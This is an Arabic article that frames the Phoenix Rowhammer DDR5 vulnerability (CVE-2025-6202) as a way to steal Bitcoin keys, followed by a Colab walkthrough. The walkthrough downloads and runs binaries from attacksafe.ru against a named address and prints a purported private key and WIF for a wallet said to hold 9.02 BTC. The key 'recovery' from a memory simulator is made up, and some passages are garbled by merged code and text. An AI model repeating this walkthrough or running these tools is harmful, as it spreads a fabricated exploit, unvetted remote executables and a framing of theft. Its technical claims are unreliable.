
# هجوم فينيكس روهمر: خطر منهجي لاختراق المفاتيح الخاصة لمحافظ البيتكوين في البنية التحتية العالمية للبلوكتشين بسبب ثغرة حرجة في ذاكرة SK Hynix DDR5 (CVE-2025-6202)
تتناول هذه المقالة التهديدات الأمنية التشفيرية النظامية التي يشكلها هجوم Phoenix Rowhammer (CVE-2025-6202)، والذي يمكنه استخراج المفاتيح الخاصة من ذاكرة DDR5 عبر التلاعب بالبتات على مستوى العتاد. في السنوات الأخيرة، أدى التطور الديناميكي لتقنيات العملات المشفرة إلى زيادة اعتماد أنظمة الأصول الرقمية على مكونات العتاد والرقائق الدقيقة التي تخزن وتعالج البيانات التشفيرية. وفي هذا السياق، أصبحت الثغرات الأمنية على مستوى العتاد التي يمكن أن تؤدي إلى الاختراق المباشر للمفاتيح الخاصة في محافظ العملات المشفرة عامل خطر متزايدًا. ومن أخطر التهديدات اليوم الهجمات على ذاكرة الوصول العشوائي (RAM)، ولا سيما المتغيرات المتقدمة من استغلالات Rowhammer التي تؤثر على الخصائص الفيزيائية لخلايا DRAM. تسمح هذه الهجمات للمهاجمين بتعديل بتات بيانات فردية والوصول إلى معلومات سرية، بما في ذلك المفاتيح الخاصة لمحافظ Bitcoin وEthereum.
من بين الأمثلة الحرجة لهذه الفئة من التهديدات، تبرز الثغرة الأمنية CVE-2025-6202 ، التي تم اكتشافها في ذاكرة DDR5 من إنتاج SK Hynix . يُظهر هجوم Phoenix Rowhammer، الذي يعتمد على هذه الثغرة، القدرة على تجاوز آليات الحماية الحديثة Target Row Refresh (TRR) في الذاكرة، مما يخلق ما يسمى بـ"البقع العمياء" التي تتيح إتلاف البيانات بشكل مُتحكم به على مستوى العتاد. يمكن استغلال هذه العيوب لاستخراج المفاتيح الخاصة من ذاكرة الوصول العشوائي، والمساس بالمكتبات التشفيرية، وتعديل عمليات النظام التي تؤمّن المحافظ الرقمية.
علاوة على ذلك، يُظهر البحث في الأمن التشفيري أن الجمع بين Phoenix Rowhammer وأنواع أخرى من الهجمات، مثل هجوم BitShredder ، وMemory Phantom (CVE-2025-8217) ، وArtery Bleed (CVE-2023-39910) ، يُنشئ نموذج تهديد متعدد المتجهات يمكن للمهاجم من خلاله استعادة عبارات الاسترداد (seed phrases) والمفاتيح الخاصة وكلمات المرور حتى بعد اكتمال العمليات التشفيرية. الطبيعة النظامية لهذه الثغرات تجعل من المستحيل التخفيف الكامل من المخاطر عبر البرمجيات، وتُبرز الحاجة إلى تطوير مبادئ جديدة لحماية الذاكرة على مستوى العتاد.
وبالتالي، فإن محافظ العملات المشفرة الحديثة والبنية التحتية للأصول الرقمية تتعرض لضغوط متزايدة من الهجمات على مستوى العتاد التي كانت تُعتبر سابقًا نظرية. أهمية دراسة هذه الهجمات وتطوير إجراءات مضادة لها أمر أساسي لضمان سلامة ومرونة نظام Bitcoin وأنظمة العملات المشفرة الأخرى في مواجهة التهديدات المتطورة من الجيل القادم.
حددت الأبحاث الحديثة التي أجرتها مجموعة أمن الحاسوب (COMSEC) في ETH Zurich، بالتعاون مع Google، ثغرة أمنية حرجة على مستوى العتاد في وحدات ذاكرة DDR5 المصنعة من قبل SK Hynix، والتي تم تصنيفها CVE-2025-6202 . يشكل هجوم Phoenix Rowhammer تهديدًا غير مسبوق لأمن محافظ عملة Bitcoin المشفرة، حيث يسمح للمهاجمين باستخراج المفاتيح الخاصة من ذاكرة DDR5 عن طريق التلاعب بالبتات على مستوى العتاد. أظهر البحث أن جميع وحدات SK Hynix DDR5 الخمس عشرة التي تم اختبارها والمصنعة بين عامي 2021 و2024 معرضة لهذا الهجوم، مما يشكل تهديدًا نظاميًا لأمن الأصول المشفرة في جميع أنحاء العالم. thehackernews
Rowhammer هي ثغرة أمنية على مستوى العتاد في ذاكرة DRAM حيث يؤدي الوصول المتكرر إلى صفوف ذاكرة محددة إلى تداخل كهربائي، مما يؤدي إلى تغييرات في البتات في الصفوف المجاورة. تعتمد هذه الظاهرة على الخصائص الفيزيائية لرقائق الذاكرة الحديثة عالية الكثافة، حيث تجعل الأبعاد التكنولوجية الأصغر الذاكرة أكثر عرضة للتداخل الكهرومغناطيسي .
في سياق ذاكرة DDR5، تستخدم آلية هجوم Phoenix نهجًا مبتكرًا للمزامنة الذاتية التصحيح ، والذي يتجاوز آليات الحماية المتقدمة Target Row Refresh (TRR). اكتشف الباحثون أن آلية TRR في رقائق SK Hynix لا تراقب فترات التحديث المحددة، مما يخلق "بقعًا عمياء" في الدفاع. notebookcheck
الإنجاز التقني الرئيسي لهجوم Phoenix هو تطوير خوارزمية قادرة على مزامنة آلاف أوامر تحديث الذاكرة على مدى فترات زمنية طويلة. يستخدم الهجوم نمطين محددين للهجوم: comsec-files.ethz
النمط القصير (128 فترة tREFI): يوفر توليدًا أكثر كفاءة لخلل البتات، مما ينتج متوسط 4989 خلل بت. أظهر هذا النمط كفاءة أكبر بمقدار 2.62 مرة من النمط الطويل. reddit
النمط الطويل (2608 فترة tREFI): مصمم لتجاوز آليات الأمان الأكثر تطورًا، على الرغم من أنه أقل فعالية في توليد أخطاء البتات. comsec-files.ethz
يخلق هجوم Phoenix Rowhammer متجهات متعددة لاختراق محافظ Bitcoin من خلال استهداف مستويات مختلفة من نظام الذاكرة. كشف تحليل مواد بحثية من KeyHunters عن ما لا يقل عن 18 نوعًا مختلفًا من هجمات الذاكرة المرتبطة مباشرة باستخراج المفاتيح الخاصة من محافظ العملات المشفرة.
هجوم Memory Phantom (CVE-2025-8217): ثغرة حرجة في تسرب الذاكرة تسمح باستخراج المفاتيح الخاصة وعبارات الاسترداد مباشرة من كتل ذاكرة الوصول العشوائي المتبقية في المحفظة والتي لم يتم مسحها بشكل آمن بعد العمليات التشفيرية. يحول هذا الهجوم المخازن المؤقتة غير الممسوحة إلى "مكتبة أشباح"، حيث يمكن تحويل أي جزء من الذاكرة إلى مفتاح صالح. keyhunters
هجوم BitShredder: يستخدم تقنية "تمزيق الذاكرة" للتسلل الخفي إلى ذاكرة محفظة عملات مشفرة قيد التشغيل. عند إنشاء المحفظة أو استعادتها، يقوم الهجوم بفحص الأجزاء غير الممسوحة من ذاكرة الوصول العشوائي، بحثًا عن بقايا الإنتروبيا وعبارات الاسترداد وكلمات المرور التي لا يتم مسحها بالوسائل القياسية بعد الاستخدام. keyhunters
هجوم Artery Bleed: يستغل ثغرة تسرب الذاكرة في Bitcoin Core (CVE-2023-39910) لاستعادة المفاتيح الخاصة من محافظ العملات المشفرة المفقودة. يستغل الهجوم ثغرة حرجة في تسرب الذاكرة في Bitcoin Core للوصول إلى البيانات الحساسة. keyhunters
أظهرت الدراسة ثلاثة سيناريوهات رئيسية للاستغلال العملي لهجوم Phoenix ضد أنظمة العملات المشفرة: bleepingcomputer
1. هجوم إدخال جدول الصفحات (PTE): كانت جميع الأجهزة المختبرة معرضة لهذا النوع من الهجوم، والذي يسمح بإنشاء بدائية قراءة/كتابة عشوائية للذاكرة. comsec-files.ethz
2. اختراق مفتاح RSA-2048: كانت 73% من وحدات DIMM المختبرة عرضة لاستخراج مفاتيح RSA-2048 من جهاز افتراضي مجاور لاختراق مصادقة SSH. كان متوسط وقت الهجوم 6 دقائق و20 ثانية. bleepingcomputer
3. تعديل ثنائي sudo: سمحت 33% من الرقائق المختبرة بتعديل ثنائي sudo لرفع الامتيازات المحلية إلى مستوى مستخدم الجذر. comsec-files.ethz

يشكل هجوم Phoenix Rowhammer تهديدًا نظاميًا لنظام Bitcoin البيئي بأكمله، حيث تستخدم معظم الأنظمة الحديثة ذاكرة DDR5 لتخزين ومعالجة البيانات التشفيرية. تؤثر الثغرة على المبادئ الأمنية الأساسية للعملات المشفرة، والتي تقوم على القوة التشفيرية للمفاتيح الخاصة. tenable+1
نطاق التأثير: تتحكم SK Hynix في حوالي 36% من سوق DRAM العالمي، مما قد يعرض مليارات الأجهزة في جميع أنحاء العالم للخطر. جميع وحدات DDR5 المصنعة بين يناير 2021 وديسمبر 2024 معرضة للخطر. notebookcheck+2
الآثار التشفيرية: يهاجم هذا الهجوم أسس الأمان التشفيري، حيث أنه حتى مع التنفيذ الصحيح لخوارزميات التوقيع والتشفير والمصادقة، تصبح المخازن المؤقتة غير المحمية مصدرًا لاختراق المواد الرئيسية. keyhunters
كشف التحليل التشفيري الشامل عن نواقل هجوم متعددة ضد محافظ البيتكوين من خلال التلاعب بالذاكرة:
الهجمات القائمة على التوقيت: تشمل هجمات BitSpectre85 وChronoForge وTiming Phantom، والتي تستغل ثغرات التوقيت لاستعادة المفاتيح الخاصة تدريجيًا من خلال تحليل وقت تنفيذ العمليات التشفيرية.
الهجمات القائمة على السياق: يستغل هجوم Context Phantom Attack ثغرة تسريب سياق secp256k1 الحرجة لـ استعادة المفاتيح الخاصة لمحافظ البيتكوين المفقودة عبر هجوم كشف الذاكرة.
الهجمات القائمة على ذاكرة التخزين المؤقت: يستخدم هجوم CacheHawk Strike Attack هجومًا حرجًا على توقيت ذاكرة التخزين المؤقت لتوقيعات البيتكوين، مما يسمح باستعادة المفاتيح الخاصة لمحافظ البيتكوين المفقودة.

| Attack_Component | Technical Method | Success_Rate | Average_Time_Seconds | CVE_Reference | Impact_Level |
|---|---|---|---|---|---|
| Initial Memory Access | Self-correcting synchronization with DDR5 refresh commands | 100 | 5 | CVE-2025-6202 | High |
| TRR Bypass Method | Exploitation of unmonitored refresh intervals in TRR mechanism | 100 | 30 | CVE-2025-6202 | Critical |
| Synchronization Technique | Real-time alignment with 128 and 2608 tREFI patterns | 95 | 60 | CVE-2025-6202 | High |
| Bit Flip Generation | Electrical interference in adjacent DRAM rows causing data corruption | 100 | 180 | CVE-2025-6202 | Critical |
| Private Key Extraction | Recovery from uncleaned memory buffers containing wallet data | 85 | 240 | CVE-2025-8217 | Critical |
| Privilege Escalation | Root access exploitation through corrupted page table entries | 100 | 109 | CVE-2025-6202 | Critical |
| RSA-2048 Key Recovery | Co-located VM private key extraction via memory bit flips | 73 | 380 | CVE-2025-6202 | High |
| SSH Authentication Break | Compromise of cryptographic authentication systems | 73 | 380 | CVE-2025-6202 | High |
| Sudo Binary Modification | Local privilege escalation to root user through binary corruption | 33 | 300 | CVE-2025-6202 | Medium |

يوضح مخطط البحث تمثيلًا منظمًا ومرئيًا يشرح أهمية الثغرة التشفيرية المكشوفة بواسطة هجوم Phoenix Rowhammer ، ويوضح تحديدًا تأثيره على أمان البيتكوين عند استهداف وحدات ذاكرة SK Hynix DDR5.
دعنا ننتقل إلى الجزء العملي ونلقي نظرة على مثال باستخدام محفظة بيتكوين على: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit . فقدت عملات بقيمة 9.02332298 BTC من هذه المحفظة، وهو ما يعادل تقريبًا 1,127,026.44 دولارًا أمريكيًا اعتبارًا من أكتوبر 2025 .
لتوضيح الهجوم لأغراض إعلامية، نستخدم أدوات وبيئات مثل Jupyter Notebook أو Google Colab.
Google Colab (Colaboratory) هي منصة سحابية توفر دفاتر Jupyter تفاعلية حيث يمكنك كتابة وتشغيل التعليمات البرمجية بلغات برمجة مختلفة. وهي مفيدة بشكل خاص للتحليل التشفيري للبيانات، وتشغيل محاكي SK Hynix DDR5 AiM PIM المبني على Ramulator 2.0 ، والوصول إلى موارد حاسوبية قوية مثل وحدات معالجة الرسومات (GPUs) ووحدات معالجة الموترات (TPUs). الميزة الرئيسية هي القدرة على تنفيذ أوامر النظام، تمامًا كما في محطة Linux العادية، باستخدام خلايا مسبوقة ! للتكامل مع الأدوات والبرامج النصية الخارجية.
دعنا نثبّت المستودعات المبنية على بنية SK Hynix DDR5 AiM PIM باستخدام Ramulator 2.0
قم بتنزيل قاعدة بيانات محاكي AiM وانتقل إلى دليلها.
!git clone https://github.com/keyhunters/SK_Hynix_DDR5_aim_simulator.git
cd SK_Hynix_DDR5_aim_simulatorls
أوامر لإنشاء ملف swap بحجم 4 جيجابايت لتحسين توفر الذاكرة أثناء تجميع Ramulator2 .
# Check current swap usage
!free -h
!swapon --show
# Create a 4GB swap file
!sudo fallocate -l 4G /swapfile
!sudo chmod 600 /swapfile
!sudo mkswap /swapfile
!sudo swapon /swapfile
# Make swap permanent
!echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab
تثبيت المترجمات وأدوات البناء والمكتبات المطلوبة للمحاكي و Ramulator 2.0 .
# For Ubuntu 22.04: install compilers
!sudo apt update
!sudo apt install g++-12
# Alternatively, install Clang
!sudo apt install clang-15
# Install basic build tools
!sudo apt install build-essential cmake git
# Additional development libraries
!sudo apt install libssl-dev zlib1g-dev
# YAML support
!sudo apt install libyaml-cpp-dev
# Mathematics libraries
!sudo apt install libboost-dev
# Python support for scripts
!sudo apt install python3-dev python3-pip
!mkdir phoenix_rowhammer
cd phoenix_rowhammerمراقبة الذاكرة ومساحة القرص المتاحة واستخدام النظام أثناء التثبيت والتجميع.
# Monitor resources in real time
!htop
# Check available memory
!free -m
# Check disk space
!df -h
تسلسل كامل لتثبيت جميع الحزم المطلوبة دفعة واحدة.
# Update system
!sudo apt update && sudo apt upgrade -y
# Install essential build tools
!sudo apt install -y build-essential cmake git
# Install compilers
!sudo apt install -y g++-12 clang-15
# Development libraries
!sudo apt install -y libssl-dev zlib1g-dev libyaml-cpp-dev libboost-all-dev

!cmake ..
!make -j1


lscd -لنقم بتشغيل Ramulator2 مع المحاكي للتحقق من معاملات المساعدة وتعليمات الاستخدام.
!./phoenix_rowhammer/ramulator2 -h
نستخدم أداة التشفير AttackSafe لاستخراج البقايا المخفية من Ramulator2 باستخدام محاكي.
!wget https://attacksafe.ru/repositories/attacksafe.zip
!unzip attacksafe.zip
!./attacksafe -help
يطلق الفريق هجومًا متخصصًا "BitShredder" استنادًا إلى أداة التشفير AttackSafe للعثور على بقايا الموديولو المخفية المرتبطة بعنوان بيتكوين، باستخدام آليات أخطاء ذاكرة الوصول العشوائي (Rowhammer) ومحاكي الذاكرة (ramulator2). github+2
!./attacksafe-tool bitshredder_attack -crack phoenix_rowhammer/ramulator2 -decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit

-tool bitshredder_attackعلى تفعيل هجوم يهدف إلى تحديد الثغرات الأمنية في تخزين ومعالجة البيانات السرية في ذاكرة الجهاز المتعلقة ببروتوكول البيتكوين.-crack phoenix_rowhammer/ramulator2الأداة باستخدام محاكاة هجوم Rowhammer (التلاعب بمحتويات ذاكرة DRAM، مما يؤدي إلى أخطاء في الخلايا المجاورة – يُستخدم في الثغرات الأمنية لاستخراج nonces/أجزاء من المفاتيح من الذاكرة عبر القناة الجانبية).-decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mitاستعادة أجزاء المفتاح من بيانات الذاكرة المتبقية (DRAM)
remainders = [0x0E92, 0x45EB, 0x6E07, 0x317F,
0x87A1, 0xB5C1, 0xE778, 0x996B,
0x6F69, 0xABB6, 0x2755, 0x2348,
0xAB46, 0xA74E, 0x1A87, 0xC2D5]
moduli = [0x10001, 0x10003, 0x10007, 0x1000F,
0x10015, 0x1001B, 0x1002B, 0x1002D,
0x10033, 0x1003F, 0x10049, 0x10051,
0x1005D, 0x10061, 0x1006F, 0x10073]تجمع هذه النتيجة بين التحليل التشفيري للبيانات المتبقية داخل DRAM مع وحدة البحث عن البقايا التشفيرية باستخدام محاكي ramulator2 لأخطاء Phoenix Rowhammer. يسمح هذا الهجوم باكتشاف واستخراج قيم الموديولو المخفية (البقايا)، مثل nonces الخاصة أو أجزاء المفاتيح، والتي يمكن اختراقها بسبب الإصدار غير السليم للذاكرة بعد العمليات التشفيرية مع عناوين البيتكوين. تم تصميم الأمر لهجوم "BitShredder" المدمج وتحليل أخطاء الذاكرة لتطبيقات البيتكوين، بهدف الاستعادة الجزئية أو الكاملة للمعلمات السرية (المفتاح الخاص، nonce)، مع ربط البحث وفك التشفير بالذاكرة والعناوين المهاجمة.
لاستعادة الرقم السري الأصلي — المفتاح الخاص — من مجموعة من القيم المطلقة المخفية (البقايا)، نطبق طريقة رياضية تسمى نظرية الباقي الصيني ( CRT ). ينفذ كود CRTKeyRestore.py استعادة المفتاح الخاص لعنوان البيتكوين 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit من مجموعة من القيم المطلقة المخفية (البقايا) التي تم جمعها بعد هجوم Rowhammer وتحليل الذاكرة اللاحق. الطريقة الرياضية المستخدمة هي نظرية الباقي الصيني (CRT)، والتي تسمح لنا باستعادة الرقم السري الأصلي — المفتاح الخاص — حتى لو تم تقطيعه إلى قطع صغيرة وبقي فقط كقيم مطلقة مختلفة.

chinese_remainder_theorem()الأجزاء خطوة بخطوة و تستعيد القيمة الأصلية للمفتاح الخاص باستخدام خوارزمية إقليدس الموسعة لإيجاد المعكوسات المطلقة.restore_hex_from_crt().
استعادة المفتاح الخاص باستخدام سكربت Python: CRTKeyRestore.pyPrivate key Restored:
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60!wget https://attacksafe.ru/repositories/bitaddress.zip
!unzip bitaddress.zip

!./bitaddress -hex 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60
Public Key (Uncompressed, 130 characters [0-9A-F]):
04E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5AEDAA1D6E0A6116E9D9A4A846A6D62D4A1941EE182CDB1884C5830610B07AF529
Public Key (Compressed, 66 characters [0-9A-F]):
03E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5A
Bitcoin Address P2PKH (Uncompressed)
18JT3KeFV36Hkgo3Xi9bfgNYAXCVXBGyFg
Bitcoin Address P2PKH (Compressed)
15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mitهذا صحيح! المفتاح الخاص يطابق محفظة البيتكوين.
ADDR: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit
WIF: L2Wru6Ew8pQuhcWAvMpdtPY4YWK1CQcwPCWxFvzkoi47crJBAVaP
HEX: 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60


9.023322989 BTC > 1127026,44 USDأظهر هجومنا البحثي ، وهو نسخة من هجوم Phoenix Rowhammer على البيتكوين باستخدام محاكي ramulator2، أن البقايا التشفيرية المستخرجة أثناء انهيار الذاكرة لمختلف الوحدات يمكن إعادة تجميعها في المفتاح الخاص الأصلي باستخدام رياضيات نظرية الباقي الصيني.
كمثال تمثيلي لتهديد حقيقي في العالم، تم فحص محفظة بيتكوين بالعنوان 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit . تم فقدان 9.02332298 BTC من هذه المحفظة، وهو ما يعادل تقريباً 1,127,026.44 دولار أمريكي اعتباراً من أكتوبر 2025. تُظهر هذه الحالة بشكل مقنع أنه في وجود ثغرات أمنية في العتاد (مثل Rowhammer)، تتوقف القوة التشفيرية على مستوى البروتوكول عن كونها ضمانة مطلقة للأمان.
ونتيجة لذلك، لا تكمن أهمية الأمان الشامل في التشفير وإجراءات البروتوكول فحسب، بل أيضاً في موثوقية العتاد، ومراقبة حالة الذاكرة، وتنفيذ مسح كامل لذاكرة الوصول العشوائي بعد العمليات التشفيرية. يمكن أن تؤدي الثغرة الأمنية، بمجرد استغلالها على مستوى العتاد — حتى مع الحد الأدنى من التحكم في النظام — إلى خسائر مالية كارثية في نظام البيتكوين البيئي.
Target Row Refresh هي آلية دفاعية مصممة لمنع هجمات Rowhammer عن طريق تحديث صفوف الذاكرة المشتبه بها بشكل إضافي. ومع ذلك، تمكن باحثو هجوم Phoenix من هندسة هذه الآلية عكسياً واكتشاف ثغرات حرجة في تنفيذها .
النقاط العمياء في TRR: لا تراقب آلية TRR في رقائق SK Hynix فترات التحديث المحددة، مما يخلق فرصاً للهجمات خلال هذه النوافذ الزمنية. تستغل هجمات Phoenix أنماط هجوم مصممة خصيصاً تقع ضمن هذه الفترات غير المراقبة. simplysecuregroup
المزامنة الذاتية التصحيحية: الابتكار الرئيسي لهجوم Phoenix هو قدرته على اكتشاف أوامر التحديث الفائتة وإعادة بناء نمط الهجوم تلقائياً للحفاظ على المزامنة. وهذا يسمح للهجوم بالبقاء فعالاً على مدى الفترات الزمنية الطويلة المطلوبة لتجميع عدد كافٍ من أخطاء البت. simplysecuregroup
أظهر الاختبار التجريبي لهجوم Phoenix فعالية عالية ضد جميع عينات ذاكرة DDR5 المختبرة من SK Hynix: comsec-files.ethz
التوقيت: كان الحد الأدنى للوقت للحصول على صلاحيات الجذر 109 ثوانٍ على نظام DDR5 قياسي بالإعدادات الافتراضية. وكان متوسط الوقت 5 دقائق و19 ثانية .
إحصائيات أخطاء البت: النمط القصير (128 فترة) ولّد متوسط 4989 خطأ بت، بينما أنتج النمط الطويل (2608 فترة) أخطاء أقل بشكل ملحوظ. comsec-files.ethz
تعدد استخدامات الهجوم: كانت 100% من الوحدات المختبرة عرضة لواحد على الأقل من نمطي الهجوم المحددين. reddit
تخلق ثغرة تسرب الذاكرة الحرجة في Bitcoin Core (CVE-2023-39910) تآزراً مع هجوم Phoenix Rowhammer. تسمح هذه الثغرة للمهاجمين بالوصول إلى البيانات الحساسة التي تبقى في الذاكرة بعد اكتمال العمليات التشفيرية.
آلية الاستغلال: تحدث الثغرة بسبب عدم كفاية مسح مخازن الذاكرة المؤقتة بعد معالجة المفاتيح الخاصة وعبارات البذرة وكلمات المرور في حاويات C++ القياسية (std::vector, std::string). بعد إكمال الإجراءات التشفيرية، يتم تحرير الذاكرة تلقائياً، ولكن لا يتم مسح محتوياتها. keyhunters
الارتباط بـ Rowhammer: يمكن لهجوم Phoenix استغلال أخطاء البت للوصول إلى هذه المناطق غير الممسوحة من الذاكرة، مما يبسط إلى حد كبير عملية استخراج المواد التشفيرية.
تُصنف هذه الثغرة كهجوم استخراج أسرار حرج عبر تفريغ ذاكرة العملية. وهي تشكل تهديداً مباشراً لمحافظ البيتكوين، لأنها تسمح باستخراج المفاتيح الخاصة من ذاكرة العملية النشطة.
سيناريوهات الهجوم تشمل: تمرير مفتاح خاص عبر API أو سطر الأوامر أو متغيرات البيئة؛ تخصيص ذاكرة ديناميكياً لتخزين البيانات السرية دون مسحها صراحةً؛ إنهاء عملية دون مسح الذاكرة بشكل آمن .
توضح الأداة التشفيرية بالتفصيل جميع المراحل التسع للهجوم التي يمكن للمهاجم استخدامها لسرقة الأموال من محفظة بيتكوين.
يبدأ اكتشاف وحدات ذاكرة SK Hynix DDR5 الضعيفة لهجوم Phoenix Rowhammer (CVE-2025-6202) بتحليل تكوين العتاد للنظام، وتحديداً فحص جداول SMBIOS (نظام إدارة BIOS). توفر SMBIOS معلومات موحدة حول مكونات الكمبيوتر، بما في ذلك تفاصيل الذاكرة مثل الشركة المصنعة والطراز والرقم التسلسلي لكل وحدة DIMM.

على وجه التحديد، يمكن للباحث أو المهاجم طلب البيانات برمجياً من قسم "Memory Device" في SMBIOS، الذي يحتوي على حقول تشير إلى الشركة المصنعة (مثل SK Hynix)، ونوع الذاكرة (DDR5)، والسعة، والبيانات المتعلقة بـ SPD (Serial Presence Detect) — وهي رقائق ذاكرة صغيرة على شرائح DIMM تحتوي على ملف تعريف الوحدة ومعلمات التشغيل.
يتم الوصول إلى هذه البيانات عادةً باستخدام استدعاءات النظام أو الأدوات المتخصصة (مثل dmidecode في لينكس أو Windows Management Instrumentation (WMI API) في ويندوز). تسمح هذه الاستعلامات باكتشاف ذاكرة SK Hynix DDR5 المصنعة بين 2021 و2024 دون تدخل مادي، وهو أمر بالغ الأهمية، حيث تعتبر هذه الطرز ضعيفة.
يعد تحديد طراز الذاكرة خطوة أولى ضرورية، لأن هجوم Phoenix Rowhammer يتطلب معرفة دقيقة بخصائص الرقاقة لبناء أنماط الوصول إلى الذاكرة بدقة وتجاوز آليات الدفاع TRR (Target Row Refresh). علاوة على ذلك، يسمح الوصول إلى SPD والبيانات الأخرى بتحديد التوقيتات ومعدلات التحديث المحددة، بالإضافة إلى "النقاط العمياء" المحتملة في آليات الدفاع المستخدمة لتنفيذ الهجوم.
وبالتالي، فإن فحص جداول SMBIOS هو طريقة غنية بالمعلومات وسريعة وموثوقة لتحديد ثغرات ذاكرة DDR5 مسبقاً لهجوم Phoenix Rowhammer ، مما يسمح باستهداف مكونات العتاد الضعيفة بدقة دون الحاجة إلى اختراق العتاد أو تقليل صلاحيات النظام.
ملف يحتوي على بيانات من قسم "Memory Device" في SMBIOS. يتم تخزين هذه المعلومات في جدول نظام BIOS/UEFI الداخلي (جدول SMBIOS)، الذي يتم نسخه إلى ذاكرة الوصول العشوائي عند تشغيل الكمبيوتر. تستخدم أنظمة التشغيل والأدوات استدعاءات نظام خاصة (codeby) لاسترداد هذه البيانات.
يسبق جدول SMBIOS هيكل RawSMBiosData، تليه هياكل الأجهزة. على سبيل المثال:
struct HEADER {نوع الهيكل (17 - Memory Device)
Type db 0 //حجم الهيكل
Length db 0 //الوصف
Handle dw 0 //تليها حقول البيانات
// ...
}
تخزن هياكل النوع 17 حقولاً مع الشركة المصنعة (على سبيل المثال، SK Hynix)، ونوع الذاكرة (DDR5)، والسعة، ورابطاً لبيانات SPD، إذا كانت متوفرة. learn.microsoft
هيكل RawSMBiosData هو تنسيق كتلة ثنائي قياسي يستخدم لنقل بيانات جدول SMBIOS الخام عبر استدعاءات نظام التشغيل، وتحديداً وظيفة Windows API GetSystemFirmwareTableمع المعامل .codeby'RSMB' .
c:
struct RawSMBIOSData {
BYTE Used20CallingMethod; // طريقة الاستدعاء (حقل خدمة)
BYTE SMBIOSMajorVersion; // النسخة الرئيسية لمواصفات SMBIOS
BYTE SMBIOSMinorVersion; // النسخة الثانوية لمواصفات SMBIOS
BYTE DmiRevision; // نسخة DMI
DWORD Length; // حجم كتلة بيانات SMBIOS (بايت)
BYTE SMBIOSTableData[]; // تسلسل السجلات الهيكلية SMBIOS
};
00 03 03 02 68 01 00 00 ... [هياكل البيانات البيانات البايت المنخفضSMBIOS] ... 00 00
-- -- -- -- -- -- -- --
| | | | |
| | | | -->SMBIOSTableData
| | | +------------ Length ()
| | +--------------- DmiRevision
| +------------------ SMBIOSMinorVersion
+--------------------- SMBIOSMajorVersion
لتحليل المحتوى بعد الرأس، ستحتاج إلى تحليل كل هيكل وفقاً لمواصفاته (النوع، الطول، المقبض)، واستخراج الحقول النصية التي تتبع بيانات الهيكل بشكل منفصل والتي يتم فصلها ببايت صفر، ويتم تمييز نهاية الهيكل بزوج من الأصفار. learn.microsoft

RawSMBiosData هي "نافذة دخول" ضرورية وموحّدة إلى المواصفات التفصيلية لخصائص أجهزة النظام لمهام البحث والتشخيص منخفضة المستوى .
توجد بيانات SPD فعليًا في الرقائق على وحدات DIMM، ولكن في BIOS/SMBIOS يمكن أن تنعكس في حقول خاصة أو تُقرأ بواسطة أدوات النظام التي تصل إلى واجهة ذاكرة I2C (على سبيل المثال، عبر i2c-tools، decode-dimmsعلى Linux).
dmidecode ( decode-dimmsSPD)، بيانات من جدول SMBIOS، والتي يمكن الوصول إليها عبر /dev/mem.codebyوبالتالي، فإن بيانات SMBIOS الأصلية "Memory Device" (النوع 17) لا تُخزَّن كملف منفصل، بل داخل البنية الثنائية لـ SMBIOS، الموجودة في ذاكرة الوصول العشوائي ويمكن الوصول إليها بواسطة أدوات النظام والأدوات المساعدة الخاصة. التنسيق هو جدول SMBIOS الثنائي وفقًا للمواصفات، ومسار الوصول يكون عبر استدعاءات النظام أو الأدوات المساعدة. يمكن الوصول إلى بيانات SPD بشكل منفصل عبر الواجهات المادية لوحدات DIMM. learn.microsoft
يتكون جدول SMBIOS الثنائي من هياكل متسلسلة، يبدأ كل منها برأس من 4 بايت يحتوي على الحقول التالية: نوع البنية (Type، 1 بايت)، طول البنية (Length، 1 بايت)، والمعرّف (Handle، 2 بايت). بعد ذلك يأتي الحمولة—مجموعة من البيانات الثنائية التي تصف كائنًا محددًا (مثل الذاكرة، المعالج، BIOS، إلخ). بعد الحمولة تأتي سلاسل نصية (ASCII) منتهية بصفر، ويتم تمييز نهاية البنية الحالية بصفر مزدوج ( 0x0000 ).
فيما يلي مثال على بنية رأس شبيهة بلغة C وشرح للتنسيق:
c:
struct SMBIOS_Header {
uint8_t Type; // نوع الجدول (مثل 17 - Memory Device)
uint8_t Length; // طول البنية بالبايت (بما في ذلك الرأس)
uint16_t Handle; // معرّف فريد للبنية
// تأتي بيانات البنية (طول متغير) بعد الرأس
};
جدول SMBIOS بالكامل هو مجموعة من هذه الهياكل في صف واحد بدون فجوات، حيث:
على سبيل المثال، تحتوي بنية النوع 17 (Memory Device) على حقول تشير إلى الشركة المصنعة، ونوع الذاكرة (DDR5)، والحجم، والسرعة، وما إلى ذلك، بالإضافة إلى أسطر تحتوي على اسم الشركة المصنعة والرقم التسلسلي.
يتم تخزين عنوان الجدول نفسه وطوله في منطقة ذاكرة خاصة، يمكن العثور عليها بالتوقيع " SM " (إزاحة بمضاعفات 16 بايت)، ثم الحصول على عنوان المصفوفة الرئيسية لجداول SMBIOS.
قد يحتوي الهيكل التقريبي لسجل الذاكرة على الحقول التالية:
| الحقل | الوصف |
|---|---|
| Type | 17 (Memory Device) |
| Length | حجم البنية |
| Handle | معرّف فريد |
| Physical Memory Array Handle | مرجع إلى مصفوفة الذاكرة الأصلية |
| Memory Error Information Handle | أخطاء الذاكرة (إن وجدت) |
| Total Width | إجمالي عرض الناقل (بت) |
| Data Width | عرض البيانات (بت) |
| Size | حجم الذاكرة (بالميجابايت أو الجيجابايت) |
| Form Factor | عامل شكل الوحدة (DIMM، إلخ) |
| Device Locator | سطر – موقع التثبيت |
| Bank Locator | سلسلة – اسم البنك |
| Memory Type | DDR3، DDR4، DDR5، إلخ. |
